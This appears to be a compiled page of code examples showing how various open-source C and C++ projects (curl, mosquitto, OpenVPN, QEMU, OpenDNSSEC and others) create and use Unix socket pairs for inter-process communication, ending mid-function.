Beispiel #1
0
// on fork(), create a new events directory for each of this process's monitors
// and point them all to them.  This way, both the parent and child can continue 
// to receive device packets.
// NOTE: can only call async-safe methods
static void udev_monitor_atfork(void) {
   
   int errsv = errno;
   int rc = 0;
   int i = 0;
   int cnt = 0;
   pid_t pid = getpid();
   struct udev_monitor* monitor = NULL;
   int socket_fds[2];
   struct epoll_event ev;
   
   write( STDERR_FILENO, "forked! begin split\n", strlen("forked! begin split\n") );
   
   memset( &ev, 0, sizeof(struct epoll_event) );
   
   // reset each monitor's inotify fd to point to a new PID-specific directory instead
   g_monitor_table_spinlock();
   
   if( g_pid != pid ) {
   
      // child; do the fork 
      for( i = 0; i < UDEV_MAX_MONITORS; i++ ) {
         
         if( g_monitor_table[i] == NULL ) {
            continue;
         }
         
         monitor = g_monitor_table[i];
         
         if( monitor->type != UDEV_MONITOR_TYPE_UDEV ) {
            continue;
         }
         
         if( monitor->inotify_fd < 0 ) {
            continue;
         }
         
         if( monitor->epoll_fd < 0 ) {
            continue;
         }
         
         if( monitor->events_wd < 0 ) {
            continue;
         }
            
         // reset the socket buffer--the parent will be said to have 
         // received intermittent events before the child was created.
         if( monitor->sock >= 0 ) {
            
            // stop watching this socket--we'll regenerate it later
            epoll_ctl( monitor->epoll_fd, EPOLL_CTL_DEL, monitor->sock, NULL );
            close( monitor->sock );
            monitor->sock = -1;
         }
         
         if( monitor->sock_fs >= 0 ) {
            close( monitor->sock_fs );
            monitor->sock_fs = -1;
         }
         
         rc = socketpair( AF_LOCAL, SOCK_RAW | SOCK_NONBLOCK | SOCK_CLOEXEC, 0, socket_fds );
         if( rc < 0 ) {
            
            // not much we can do here, except log an error 
            write( STDERR_FILENO, "Failed to generate a socketpair\n", strlen( "Failed to generate a socketpair\n" ) );

            udev_monitor_fs_shutdown( monitor );
            g_monitor_table[i] = NULL;
            continue;
         }
         
         // child's copy of the monitor has its own socketpair 
         monitor->sock = socket_fds[0];
         monitor->sock_fs = socket_fds[1];
         
         // reinstall its filter 
         udev_monitor_filter_update( monitor );
         
         // watch the child's socket 
         ev.events = EPOLLIN;
         ev.data.fd = monitor->sock;
         rc = epoll_ctl( monitor->epoll_fd, EPOLL_CTL_ADD, monitor->sock, &ev );
         if( rc < 0 ) {
            
            // not much we can do here, except log an error 
            write( STDERR_FILENO, "Failed to add monitor socket\n", strlen("Failed to add monitor socket\n") );
          
            udev_monitor_fs_shutdown( monitor );
            g_monitor_table[i] = NULL;
            continue;
         }
         
         // reset the inotify watch
         rc = inotify_rm_watch( monitor->inotify_fd, monitor->events_wd );
         monitor->events_wd = -1;
         
         if( rc < 0 ) {
            
            rc = -errno;
            if( rc == -EINVAL ) {
               
               // monitor->events_wd was invalid 
               rc = 0;
            }
            else if( rc == -EBADF ) {
               
               // monitor->inotify_fd is invalid.
               // not much we can do here, except log an error 
               write( STDERR_FILENO, "Invalid inotify handle\n", strlen("Invalid inotify handle"));
               
               udev_monitor_fs_shutdown( monitor );
               g_monitor_table[i] = NULL;
               continue;
            }
         }
         
         if( rc == 0 ) {
            
            udev_monitor_fs_events_path( "", monitor->events_dir, i );
            
            // try to create a new directory for this monitor
            rc = mkdir( monitor->events_dir, 0700 );
   
            if( rc < 0 ) {
               // failed, we have.
               // child will not get any notifications from this monitor
               rc = -errno;
               write( STDERR_FILENO, "Failed to mkdir ", strlen("Failed to mkdir ") );
               write( STDERR_FILENO, monitor->events_dir, strlen(monitor->events_dir) );
               write( STDERR_FILENO, "\n", 1 );
      
               udev_monitor_fs_shutdown( monitor );
               g_monitor_table[i] = NULL;
               return;
            }

            // reconnect to the new directory
            monitor->events_wd = inotify_add_watch( monitor->inotify_fd, monitor->events_dir, UDEV_FS_WATCH_DIR_FLAGS );
            if( monitor->events_wd < 0 ) {
               
               // there's not much we can safely do here, besides log an error
               write( STDERR_FILENO, "Failed to watch ", strlen( "Failed to watch " ) );
               write( STDERR_FILENO, monitor->events_dir, strlen(monitor->events_dir) );
               write( STDERR_FILENO, "\n", 1 );
            }
         }
         else {
            
            // there's not much we can safely do here, besides log an error
            rc = -errno;
            write( STDERR_FILENO, "Failed to disconnect!\n", strlen("Failed to disconnect!\n") );
         }
      }
      
      g_pid = pid;
   }
      
   g_monitor_table_unlock();
   
   write( STDERR_FILENO, "end atfork()\n", strlen("end atfork()\n") );
   
   // restore...
   errno = errsv;
}
Beispiel #2
0
int
main(int argc, char *argv[])
{
	struct passwd	*pw;
	struct event	ev_sigint, ev_sigterm, ev_sighup, ev_sigchld;
	const char	*path = NULL, *mtype_str = "mbox";
	int		ch, d = 0, pair[2];

	while ((ch = getopt(argc, argv, "dp:t:46")) != -1) {
		switch (ch) {
		case '4':
			afamily = AF_INET;
			break;
		case '6':
			afamily = AF_INET6;
			break;
		case 'd':
			d = 1;
			break;
		case 'p':
			path = optarg;
			break;
		case 't':
			if ((mtype = m_type(optarg)) == -1)
				errx(1, "%s invalid argument", optarg);
			mtype_str = optarg;
			break;
		default:
			usage();
		}
	}

	argc -= optind;
	argv += optind;
	if (argc > 0 || *argv)
		usage();

	if (path)
		mpath = path;
	else
		mpath = (mtype == M_MAILDIR) ? MAILDIR_PATH : MBOX_PATH;

	log_init(d);
	if (geteuid())
		fatalx("need root privileges");

	if (!d && daemon(1, 0) == -1)
		fatal("failed to daemonize");

	if (socketpair(AF_UNIX, SOCK_STREAM, AF_UNSPEC, pair) == -1)
		fatal("socketpair");

	set_nonblocking(pair[0]);
	set_nonblocking(pair[1]);
	if ((pw = getpwnam(POP3D_USER)) == NULL)
		fatalx("main: getpwnam " POP3D_USER);

	pop3_main(pair, afamily, pw);
	close(pair[1]);
	setproctitle("[priv]");
	logit(LOG_INFO, "pop3d ready; type:%s, path:%s", mtype_str, mpath);
	event_init();
	signal_set(&ev_sigint, SIGINT, sig_handler, NULL);
	signal_set(&ev_sighup, SIGHUP, sig_handler, NULL);
	signal_set(&ev_sigterm, SIGTERM, sig_handler, NULL);
	signal_set(&ev_sigchld, SIGCHLD, sig_handler, NULL);
	signal_add(&ev_sigint, NULL);
	signal_add(&ev_sighup, NULL);
	signal_add(&ev_sigterm, NULL);
	signal_add(&ev_sigchld, NULL);
	imsgev_init(&iev_pop3e, pair[0], NULL, pop3e_imsgev, needfd);
	if (event_dispatch() < 0)
		fatal("event_dispatch");

	logit(LOG_INFO, "pop3d exiting");
	return (0);
}
Beispiel #3
0
static CURLcode ntlm_wb_init(struct connectdata *conn, const char *userp)
{
  curl_socket_t sockfds[2];
  pid_t child_pid;
  const char *username;
  char *slash, *domain = NULL;
  const char *ntlm_auth = NULL;
  char *ntlm_auth_alloc = NULL;
  int error;

  /* Return if communication with ntlm_auth already set up */
  if(conn->ntlm_auth_hlpr_socket != CURL_SOCKET_BAD ||
     conn->ntlm_auth_hlpr_pid)
    return CURLE_OK;

  username = userp;
  slash = strpbrk(username, "\\/");
  if(slash) {
    if((domain = strdup(username)) == NULL)
      return CURLE_OUT_OF_MEMORY;
    slash = domain + (slash - username);
    *slash = '\0';
    username = username + (slash - domain) + 1;
  }

  /* For testing purposes, when DEBUGBUILD is defined and environment
     variable CURL_NTLM_WB_FILE is set a fake_ntlm is used to perform
     NTLM challenge/response which only accepts commands and output
     strings pre-written in test case definitions */
#ifdef DEBUGBUILD
  ntlm_auth_alloc = curl_getenv("CURL_NTLM_WB_FILE");
  if(ntlm_auth_alloc)
    ntlm_auth = ntlm_auth_alloc;
  else
#endif
    ntlm_auth = NTLM_WB_FILE;

  if(access(ntlm_auth, X_OK) != 0) {
    error = ERRNO;
    failf(conn->data, "Could not access ntlm_auth: %s errno %d: %s",
          ntlm_auth, error, Curl_strerror(conn, error));
    goto done;
  }

  if(socketpair(AF_UNIX, SOCK_STREAM, 0, sockfds)) {
    error = ERRNO;
    failf(conn->data, "Could not open socket pair. errno %d: %s",
          error, Curl_strerror(conn, error));
    goto done;
  }

  child_pid = fork();
  if(child_pid == -1) {
    error = ERRNO;
    sclose(sockfds[0]);
    sclose(sockfds[1]);
    failf(conn->data, "Could not fork. errno %d: %s",
          error, Curl_strerror(conn, error));
    goto done;
  }
  else if(!child_pid) {
    /*
     * child process
     */

    /* Don't use sclose in the child since it fools the socket leak detector */
    sclose_nolog(sockfds[0]);
    if(dup2(sockfds[1], STDIN_FILENO) == -1) {
      error = ERRNO;
      failf(conn->data, "Could not redirect child stdin. errno %d: %s",
            error, Curl_strerror(conn, error));
      exit(1);
    }

    if(dup2(sockfds[1], STDOUT_FILENO) == -1) {
      error = ERRNO;
      failf(conn->data, "Could not redirect child stdout. errno %d: %s",
            error, Curl_strerror(conn, error));
      exit(1);
    }

    if(domain)
      execl(ntlm_auth, ntlm_auth,
            "--helper-protocol", "ntlmssp-client-1",
            "--use-cached-creds",
            "--username", username,
            "--domain", domain,
            NULL);
    else
      execl(ntlm_auth, ntlm_auth,
            "--helper-protocol", "ntlmssp-client-1",
            "--use-cached-creds",
            "--username", username,
            NULL);

    error = ERRNO;
    sclose_nolog(sockfds[1]);
    failf(conn->data, "Could not execl(). errno %d: %s",
          error, Curl_strerror(conn, error));
    exit(1);
  }

  sclose(sockfds[1]);
  conn->ntlm_auth_hlpr_socket = sockfds[0];
  conn->ntlm_auth_hlpr_pid = child_pid;
  Curl_safefree(domain);
  Curl_safefree(ntlm_auth_alloc);
  return CURLE_OK;

done:
  Curl_safefree(domain);
  Curl_safefree(ntlm_auth_alloc);
  return CURLE_REMOTE_ACCESS_DENIED;
}
Beispiel #4
0
int _mosquitto_socketpair(mosq_sock_t *pairR, mosq_sock_t *pairW)
{
#ifdef WIN32
	int family[2] = {AF_INET, AF_INET6};
	int i;
	struct sockaddr_storage ss;
	struct sockaddr_in *sa = (struct sockaddr_in *)&ss;
	struct sockaddr_in6 *sa6 = (struct sockaddr_in6 *)&ss;
	socklen_t ss_len;
	mosq_sock_t spR, spW;

	mosq_sock_t listensock;

	*pairR = INVALID_SOCKET;
	*pairW = INVALID_SOCKET;

	for(i=0; i<2; i++){
		memset(&ss, 0, sizeof(ss));
		if(family[i] == AF_INET){
			sa->sin_family = family[i];
			sa->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
			sa->sin_port = 0;
			ss_len = sizeof(struct sockaddr_in);
		}else if(family[i] == AF_INET6){
			sa6->sin6_family = family[i];
			sa6->sin6_addr = in6addr_loopback;
			sa6->sin6_port = 0;
			ss_len = sizeof(struct sockaddr_in6);
		}else{
			return MOSQ_ERR_INVAL;
		}

		listensock = socket(family[i], SOCK_STREAM, IPPROTO_TCP);
		if(listensock == -1){
			continue;
		}

		if(bind(listensock, (struct sockaddr *)&ss, ss_len) == -1){
			COMPAT_CLOSE(listensock);
			continue;
		}

		if(listen(listensock, 1) == -1){
			COMPAT_CLOSE(listensock);
			continue;
		}
		memset(&ss, 0, sizeof(ss));
		ss_len = sizeof(ss);
		if(getsockname(listensock, (struct sockaddr *)&ss, &ss_len) < 0){
			COMPAT_CLOSE(listensock);
			continue;
		}

		if(_mosquitto_socket_nonblock(listensock)){
			continue;
		}

		if(family[i] == AF_INET){
			sa->sin_family = family[i];
			sa->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
			ss_len = sizeof(struct sockaddr_in);
		}else if(family[i] == AF_INET6){
			sa6->sin6_family = family[i];
			sa6->sin6_addr = in6addr_loopback;
			ss_len = sizeof(struct sockaddr_in6);
		}

		spR = socket(family[i], SOCK_STREAM, IPPROTO_TCP);
		if(spR == -1){
			COMPAT_CLOSE(listensock);
			continue;
		}
		if(_mosquitto_socket_nonblock(spR)){
			COMPAT_CLOSE(listensock);
			continue;
		}
		if(connect(spR, (struct sockaddr *)&ss, ss_len) < 0){
#ifdef WIN32
			errno = WSAGetLastError();
#endif
			if(errno != EINPROGRESS && errno != COMPAT_EWOULDBLOCK){
				COMPAT_CLOSE(spR);
				COMPAT_CLOSE(listensock);
				continue;
			}
		}
		spW = accept(listensock, NULL, 0);
		if(spW == -1){
#ifdef WIN32
			errno = WSAGetLastError();
#endif
			if(errno != EINPROGRESS && errno != COMPAT_EWOULDBLOCK){
				COMPAT_CLOSE(spR);
				COMPAT_CLOSE(listensock);
				continue;
			}
		}

		if(_mosquitto_socket_nonblock(spW)){
			COMPAT_CLOSE(spR);
			COMPAT_CLOSE(listensock);
			continue;
		}
		COMPAT_CLOSE(listensock);

		*pairR = spR;
		*pairW = spW;
		return MOSQ_ERR_SUCCESS;
	}
	return MOSQ_ERR_UNKNOWN;
#else
	int sv[2];

	if(socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1){
		return MOSQ_ERR_ERRNO;
	}
	if(_mosquitto_socket_nonblock(sv[0])){
		COMPAT_CLOSE(sv[0]);
		COMPAT_CLOSE(sv[1]);
		return MOSQ_ERR_ERRNO;
	}
	if(_mosquitto_socket_nonblock(sv[1])){
		COMPAT_CLOSE(sv[0]);
		COMPAT_CLOSE(sv[1]);
		return MOSQ_ERR_ERRNO;
	}
	*pairR = sv[0];
	*pairW = sv[1];
	return MOSQ_ERR_SUCCESS;
#endif
}
int arp_network_bind_raw_socket(int index, be32_t address, const struct ether_addr *eth_mac) {
        if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_NONBLOCK, 0, test_fd) < 0)
                return -errno;

        return test_fd[0];
}
Beispiel #6
0
OPENVPN_EXPORT int
openvpn_plugin_func_v1(openvpn_plugin_handle_t handle, const int type, const char *argv[], const char *envp[])
{
    struct down_root_context *context = (struct down_root_context *) handle;

    if (type == OPENVPN_PLUGIN_UP && context->foreground_fd == -1) /* fork off a process to hold onto root */
    {
        pid_t pid;
        int fd[2];

        /*
         * Make a socket for foreground and background processes
         * to communicate.
         */
        if (socketpair(PF_UNIX, SOCK_DGRAM, 0, fd) == -1)
        {
            warn("DOWN-ROOT: socketpair call failed");
            return OPENVPN_PLUGIN_FUNC_ERROR;
        }

        /*
         * Fork off the privileged process.  It will remain privileged
         * even after the foreground process drops its privileges.
         */
        pid = fork();

        if (pid)
        {
            int status;

            /*
             * Foreground Process
             */

            context->background_pid = pid;

            /* close our copy of child's socket */
            close(fd[1]);

            /* don't let future subprocesses inherit child socket */
            if (fcntl(fd[0], F_SETFD, FD_CLOEXEC) < 0)
            {
                warn("DOWN-ROOT: Set FD_CLOEXEC flag on socket file descriptor failed");
            }

            /* wait for background child process to initialize */
            status = recv_control(fd[0]);
            if (status == RESPONSE_INIT_SUCCEEDED)
            {
                context->foreground_fd = fd[0];
                return OPENVPN_PLUGIN_FUNC_SUCCESS;
            }
        }
        else
        {
            /*
             * Background Process
             */

            /* close all parent fds except our socket back to parent */
            close_fds_except(fd[1]);

            /* Ignore most signals (the parent will receive them) */
            set_signals();

            /* Daemonize if --daemon option is set. */
            daemonize(envp);

            /* execute the event loop */
            down_root_server(fd[1], context->command, (char *const *) envp, context->verb);

            close(fd[1]);
            exit(0);
            return 0; /* NOTREACHED */
        }
    }
    else if (type == OPENVPN_PLUGIN_DOWN && context->foreground_fd >= 0)
    {
        if (send_control(context->foreground_fd, COMMAND_RUN_SCRIPT) == -1)
        {
            warn("DOWN-ROOT: Error sending script execution signal to background process");
        }
        else
        {
            const int status = recv_control(context->foreground_fd);
            if (status == RESPONSE_SCRIPT_SUCCEEDED)
            {
                return OPENVPN_PLUGIN_FUNC_SUCCESS;
            }
            if (status == -1)
            {
                warn("DOWN-ROOT: Error receiving script execution confirmation from background process");
            }
        }
    }
    return OPENVPN_PLUGIN_FUNC_ERROR;
}
Beispiel #7
0
bool CTcpSocket::OpenSocketPair(CTcpSocket& nIn, CTcpSocket& nOut)
{
#if defined(WIN32)
    CTcpSocket nServer;
    nServer.SetAddress("127.0.0.1", 0);    
    if (!nServer.Open())
    {
        AILOG_ERROR() << "OpenSocketPair[Open] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    
    if (!nServer.Listen())
    {
        AILOG_ERROR() << "OpenSocketPair[Listen] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    
    std::string strHost;
    int nPort;
    if (!nServer.GetLocalAddress(strHost, nPort))
    {
        AILOG_ERROR() << "OpenSocketPair[GetLocalAddress] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    nIn.SetAddress("127.0.0.1", nPort);
    if (!nIn.Open())
    {
        AILOG_ERROR() << "OpenSocketPair[Open client] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    nIn.SetOptNB(true);
    if (!nIn.Connect())
    {
        if (!CTcpSocket::IsNoneFatal())
        {
            nIn.Close();
            AILOG_ERROR() << "OpenSocketPair[Connect] error," << CTcpSocket::LastErrorMessage();
            return false;
        }
    }

    if (!nServer.Accept(nOut))
    {
        nIn.Close();
        AILOG_ERROR() << "OpenSocketPair[Accept] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    nIn.SetOptNB(false);
    return true;
#else
    int fds[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, fds) != 0)
    {
        AILOG_ERROR() << "OpenSocketPair[socketpair] error," << CTcpSocket::LastErrorMessage();
        return false;
    }
    
    nIn.m_nFd = fds[0];
    nOut.m_nFd = fds[1];
    return true;
#endif
}
void ion_share_test()

{
	struct ion_handle *handle;
	int sd[2];
	int num_fd = 1;
	struct iovec count_vec = {
		.iov_base = &num_fd,
		.iov_len = sizeof num_fd,
	};
	char buf[CMSG_SPACE(sizeof(int))];
	socketpair(AF_UNIX, SOCK_STREAM, 0, sd);
	if (fork()) {
		struct msghdr msg = {
			.msg_control = buf,
			.msg_controllen = sizeof buf,
			.msg_iov = &count_vec,
			.msg_iovlen = 1,
		};

		struct cmsghdr *cmsg;
		int fd, share_fd, ret;
		char *ptr;
		/* parent */
		if(_ion_alloc_test(&fd, &handle))
			return;
		ret = ion_share(fd, handle, &share_fd);
		if (ret)
			printf("share failed %s\n", strerror(errno));
		ptr = mmap(NULL, len, prot, map_flags, share_fd, 0);
		if (ptr == MAP_FAILED) {
			return;
		}
		strcpy(ptr, "master");
		cmsg = CMSG_FIRSTHDR(&msg);
		cmsg->cmsg_level = SOL_SOCKET;
		cmsg->cmsg_type = SCM_RIGHTS;
		cmsg->cmsg_len = CMSG_LEN(sizeof(int));
		*(int *)CMSG_DATA(cmsg) = share_fd;
		/* send the fd */
		printf("master? [%10s] should be [master]\n", ptr);
		printf("master sending msg 1\n");
		sendmsg(sd[0], &msg, 0);
		if (recvmsg(sd[0], &msg, 0) < 0)
			perror("master recv msg 2");
		printf("master? [%10s] should be [child]\n", ptr);

		/* send ping */
		sendmsg(sd[0], &msg, 0);
		printf("master->master? [%10s]\n", ptr);
		if (recvmsg(sd[0], &msg, 0) < 0)
			perror("master recv 1");
	} else {
		struct msghdr msg;
		struct cmsghdr *cmsg;
		char* ptr;
		int fd, recv_fd;
		char* child_buf[100];
		/* child */
		struct iovec count_vec = {
			.iov_base = child_buf,
			.iov_len = sizeof child_buf,
		};

		struct msghdr child_msg = {
			.msg_control = buf,
			.msg_controllen = sizeof buf,
			.msg_iov = &count_vec,
			.msg_iovlen = 1,
		};

		if (recvmsg(sd[1], &child_msg, 0) < 0)
			perror("child recv msg 1");
		cmsg = CMSG_FIRSTHDR(&child_msg);
		if (cmsg == NULL) {
			printf("no cmsg rcvd in child");
			return;
		}
		recv_fd = *(int*)CMSG_DATA(cmsg);
		if (recv_fd < 0) {
			printf("could not get recv_fd from socket");
			return;
		}
		printf("child %d\n", recv_fd);
		fd = ion_open();
		ptr = mmap(NULL, len, prot, map_flags, recv_fd, 0);
		if (ptr == MAP_FAILED) {
			return;
		}
		printf("child? [%10s] should be [master]\n", ptr);
		strcpy(ptr, "child");
		printf("child sending msg 2\n");
		sendmsg(sd[1], &child_msg, 0);
	}
}

int main(int argc, char* argv[]) {
	int c;
	enum tests {
		ALLOC_TEST = 0, MAP_TEST, SHARE_TEST,
	};

	while (1) {
		static struct option opts[] = {
			{"alloc", no_argument, 0, 'a'},
			{"alloc_flags", required_argument, 0, 'f'},
			{"map", no_argument, 0, 'm'},
			{"share", no_argument, 0, 's'},
			{"len", required_argument, 0, 'l'},
			{"align", required_argument, 0, 'g'},
			{"map_flags", required_argument, 0, 'z'},
			{"prot", required_argument, 0, 'p'},
			{"alloc_tiler", no_argument, 0, 't'},
			{"width", required_argument, 0, 'w'},
			{"height", required_argument, 0, 'h'},
			{"fmt", required_argument, 0, 'r'},
		};
		int i = 0;
		c = getopt_long(argc, argv, "af:h:l:mr:stw:", opts, &i);
		if (c == -1)
			break;

		switch (c) {
		case 'l':
			len = atol(optarg);
			break;
		case 'g':
			align = atol(optarg);
			break;
		case 'z':
			map_flags = 0;
			map_flags |= strstr(optarg, "PROT_EXEC") ?
				PROT_EXEC : 0;
			map_flags |= strstr(optarg, "PROT_READ") ?
				PROT_READ: 0;
			map_flags |= strstr(optarg, "PROT_WRITE") ?
				PROT_WRITE: 0;
			map_flags |= strstr(optarg, "PROT_NONE") ?
				PROT_NONE: 0;
			break;
		case 'p':
			prot = 0;
			prot |= strstr(optarg, "MAP_PRIVATE") ?
				MAP_PRIVATE	 : 0;
			prot |= strstr(optarg, "MAP_SHARED") ?
				MAP_PRIVATE	 : 0;
			break;
		case 'f':
			alloc_flags = atol(optarg);
			break;
		case 'a':
			test = ALLOC_TEST;
			break;
		case 'm':
			test = MAP_TEST;
			break;
		case 'r':
			fmt = atol(optarg);
			break;
		case 's':
			test = SHARE_TEST;
			break;
		case 'w':
			width = atol(optarg);
			break;
		case 'h':
			height = atol(optarg);
			break;
		case 't':
			tiler_test = 1;
			break;
		}
	}
	printf("test %d, len %u, width %u, height %u fmt %u align %u, "
		   "map_flags %d, prot %d, alloc_flags %d\n", test, len, width,
		   height, fmt, align, map_flags, prot, alloc_flags);
	switch (test) {
		case ALLOC_TEST:
			ion_alloc_test();
			break;
		case MAP_TEST:
			ion_map_test();
			break;
		case SHARE_TEST:
			ion_share_test();
			break;
		default:
			printf("must specify a test (alloc, map, share)\n");
	}
	return 0;
}
Beispiel #9
0
void do_test(void)
{
  int r, fd;
  int s[2];
  char buf[1], testroot[PATH_MAX+1], renamebuf[PATH_MAX+1];

  subtest = 1;
  if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1) e(1);
  if (system("mkdir -p " TEST_PATH) == -1) e(2);
  if (realpath(".", testroot) == NULL) e(3);

  r = fork();
  if (r == -1) e(4);
  else if (r == 0) { /* Child */
  	/* Change child's cwd to TEST_PATH */
  	if (chdir(TEST_PATH) == -1) e(5);

	/* Signal parent we're ready for the test */
	buf[0] = 'a';
	if (write(s[0], buf, sizeof(buf)) != sizeof(buf)) e(6);

	/* Wait for parent to remove my cwd */
	if (read(s[0], buf, sizeof(buf)) != sizeof(buf)) e(7);

	/* Try to create a file */
	if ((fd = open("testfile", O_RDWR | O_CREAT)) != -1) {
		e(8);
		/* Uh oh. We created a file?! Try to remove it. */
		(void) close(fd);
		if (unlink("testfile") != 0) {
			/* This is not good. We created a file, but we can
			 * never access it; we have a spurious inode.
			 */
			e(9);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}
	if (errno != ENOENT) e(10);

	/* Try to create a dir */
	errno = 0;
	if (mkdir("testdir", 0777) == 0) {
		e(11);
		/* Uh oh. This shouldn't have been possible. Try to undo. */
		if (rmdir("testdir") != 0) {
			/* Not good. */
			e(12);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}
	if (errno != ENOENT) e(13);

	/* Try to create a special file */
	errno = 0;
	if (mknod("testnode", 0777 | S_IFIFO, 0) == 0) {
		e(14);
		/* Impossible. Try to make it unhappen. */
		if (unlink("testnode") != 0) {
			/* Not good. */
			e(15);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}
	if (errno != ENOENT) e(16);

	/* Try to rename a file */
	errno = 0;
	/* First create a file in the test dir */
	snprintf(renamebuf, PATH_MAX, "%s/oldname", testroot);
	if ((fd = open(renamebuf, O_RDWR | O_CREAT)) == -1) e(17);
	if (close(fd) != 0) e(18);

	/* Now try to rename that file to an entry in the current, non-existing
	 * working directory.
	 */
	if (rename(renamebuf, "testrename") == 0) {
		e(19);
		/* This shouldn't have been possible. Revert the name change.
		 */
		if (rename("testrename", renamebuf) != 0) {
			/* Failed */
			e(20);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}

	/* Try to create a hard link to that file */
	errno = 0;
	if (link(renamebuf, "testhlink") == 0) {
		e(21);
		/* Try to undo the hard link to prevent fs corruption. */
		if (unlink("testhlink") != 0) {
			/* Failed. */
			e(22);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}
	if (errno != ENOENT) e(23);

	/* Try to create a symlink */
	errno = 0;
	if (symlink(testroot, "testslink") == 0) {
		e(24);
		/* Try to remove the symlink to prevent fs corruption. */
		if (unlink("testslink") != 0) {
			/* Failed. */
			e(25);
			printf(INTEGR_MSG);
			exit(errct);
		}
	}
	if (errno != ENOENT) e(26);

	exit(errct);
  } else { /* Parent */
  	int status;

  	/* Wait for the child to enter the TEST_PATH dir */
  	if (read(s[1], buf, sizeof(buf)) != sizeof(buf)) e(27);

  	/* Delete TEST_PATH */
  	if (rmdir(TEST_PATH) != 0) e(28);

  	/* Tell child we removed its cwd */
  	buf[0] = 'b';
  	if (write(s[1], buf, sizeof(buf)) != sizeof(buf)) e(29);

  	wait(&status);
  	errct += WEXITSTATUS(status);	/* Count errors */
  }
}
Beispiel #10
0
static int recv_fd(int c)
{
    int fd;
    uint8_t msgbuf[CMSG_SPACE(sizeof(fd))];
    struct msghdr msg = {
        .msg_control = msgbuf,
        .msg_controllen = sizeof(msgbuf),
    };
    struct cmsghdr *cmsg;
    struct iovec iov;
    uint8_t req[1];
    ssize_t len;

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
    msg.msg_controllen = cmsg->cmsg_len;

    iov.iov_base = req;
    iov.iov_len = sizeof(req);

    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    len = recvmsg(c, &msg, 0);
    if (len > 0) {
        memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
        return fd;
    }

    return len;
}

static int net_bridge_run_helper(const char *helper, const char *bridge)
{
    sigset_t oldmask, mask;
    int pid, status;
    char *args[5];
    char **parg;
    int sv[2];

    sigemptyset(&mask);
    sigaddset(&mask, SIGCHLD);
    sigprocmask(SIG_BLOCK, &mask, &oldmask);

    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
        return -1;
    }

    /* try to launch bridge helper */
    pid = fork();
    if (pid == 0) {
        int open_max = sysconf(_SC_OPEN_MAX), i;
        char fd_buf[6+10];
        char br_buf[6+IFNAMSIZ] = {0};
        char helper_cmd[PATH_MAX + sizeof(fd_buf) + sizeof(br_buf) + 15];

        for (i = 0; i < open_max; i++) {
            if (i != STDIN_FILENO &&
                    i != STDOUT_FILENO &&
                    i != STDERR_FILENO &&
                    i != sv[1]) {
                close(i);
            }
        }

        snprintf(fd_buf, sizeof(fd_buf), "%s%d", "--fd=", sv[1]);

        if (strrchr(helper, ' ') || strrchr(helper, '\t')) {
            /* assume helper is a command */

            if (strstr(helper, "--br=") == NULL) {
                snprintf(br_buf, sizeof(br_buf), "%s%s", "--br=", bridge);
            }

            snprintf(helper_cmd, sizeof(helper_cmd), "%s %s %s %s",
                     helper, "--use-vnet", fd_buf, br_buf);

            parg = args;
            *parg++ = (char *)"sh";
            *parg++ = (char *)"-c";
            *parg++ = helper_cmd;
            *parg++ = NULL;

            execv("/bin/sh", args);
        } else {
            /* assume helper is just the executable path name */

            snprintf(br_buf, sizeof(br_buf), "%s%s", "--br=", bridge);

            parg = args;
            *parg++ = (char *)helper;
            *parg++ = (char *)"--use-vnet";
            *parg++ = fd_buf;
            *parg++ = br_buf;
            *parg++ = NULL;

            execv(helper, args);
        }
        _exit(1);

    } else if (pid > 0) {
        int fd;

        close(sv[1]);

        do {
            fd = recv_fd(sv[0]);
        } while (fd == -1 && errno == EINTR);

        close(sv[0]);

        while (waitpid(pid, &status, 0) != pid) {
            /* loop */
        }
        sigprocmask(SIG_SETMASK, &oldmask, NULL);
        if (fd < 0) {
            fprintf(stderr, "failed to recv file descriptor\n");
            return -1;
        }

        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
            return fd;
        }
    }
    fprintf(stderr, "failed to launch bridge helper\n");
    return -1;
}
Beispiel #11
0
/**
 * Set up engine.
 *
 */
static ods_status
engine_setup(engine_type* engine)
{
    ods_status status = ODS_STATUS_OK;
    struct sigaction action;
    int result = 0;
    int sockets[2] = {0,0};

    ods_log_debug("[%s] setup signer engine", engine_str);
    if (!engine || !engine->config) {
        return ODS_STATUS_ASSERT_ERR;
    }
    /* set edns */
    edns_init(&engine->edns, EDNS_MAX_MESSAGE_LEN);

    /* create command handler (before chowning socket file) */
    engine->cmdhandler = cmdhandler_create(engine->allocator,
        engine->config->clisock_filename);
    if (!engine->cmdhandler) {
        return ODS_STATUS_CMDHANDLER_ERR;
    }
    engine->dnshandler = dnshandler_create(engine->allocator,
        engine->config->interfaces);
    engine->xfrhandler = xfrhandler_create(engine->allocator);
    if (!engine->xfrhandler) {
        return ODS_STATUS_XFRHANDLER_ERR;
    }
    if (engine->dnshandler) {
        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) == -1) {
            return ODS_STATUS_XFRHANDLER_ERR;
        }
        engine->xfrhandler->dnshandler.fd = sockets[0];
        engine->dnshandler->xfrhandler.fd = sockets[1];
        status = dnshandler_listen(engine->dnshandler);
        if (status != ODS_STATUS_OK) {
            ods_log_error("[%s] setup: unable to listen to sockets (%s)",
                engine_str, ods_status2str(status));
        }
    }
    /* privdrop */
    engine->uid = privuid(engine->config->username);
    engine->gid = privgid(engine->config->group);
